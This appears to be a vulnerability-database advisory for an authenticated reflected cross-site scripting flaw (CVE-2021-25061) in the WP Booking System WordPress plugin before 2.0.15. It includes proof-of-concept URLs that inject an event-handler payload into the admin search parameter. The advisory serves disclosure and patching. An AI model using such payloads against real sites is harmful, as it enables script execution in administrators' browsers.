Lucene search
Krzysztof ZającWPVDB-ID:BD9DC754-08A4-4BFC-8DDA-3F5C0E070F7EHistoryDec 10, 2021 - 12:00 a.m.
WP Booking System – Booking Calendar < 2.0.15 - Authenticated Reflected Cross-Site Scripting (XSS)
2021-12-1000:00:00
Krzysztof Zając
wpscan.com
13
wordpress
booking system
calendar
xss
security
plugin
EPSS
0.001
Percentile
24.8%
The plugin was affected by a reflected xss in wp-booking-system on the wpbs-calendars admin page.
PoC
http://127.0.0.1:8001/wp-admin/admin.php?page=wpbs-calendars&s;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(1)+x%3D or http://127.0.0.1:8001/wp-admin/admin.php?page=wpbs-forms&s;="+style%3Danimation-name%3Arotation+onanimationstart%3Dalert(1)+x%3D
Related
cvelist
cvelist
nvd
nvd
CVE-2021-25061
2022-01-17 13:15:08
cnvd
cnvd
WordPress WP Booking System plugin cross-site scripting vulnerability
2022-01-18 00:00:00
patchstack
patchstack
prion
prion
Cross site scripting
2022-01-17 13:15:00
wpexploit
wpexploit
cve
cve
CVE-2021-25061
2022-01-17 13:15:08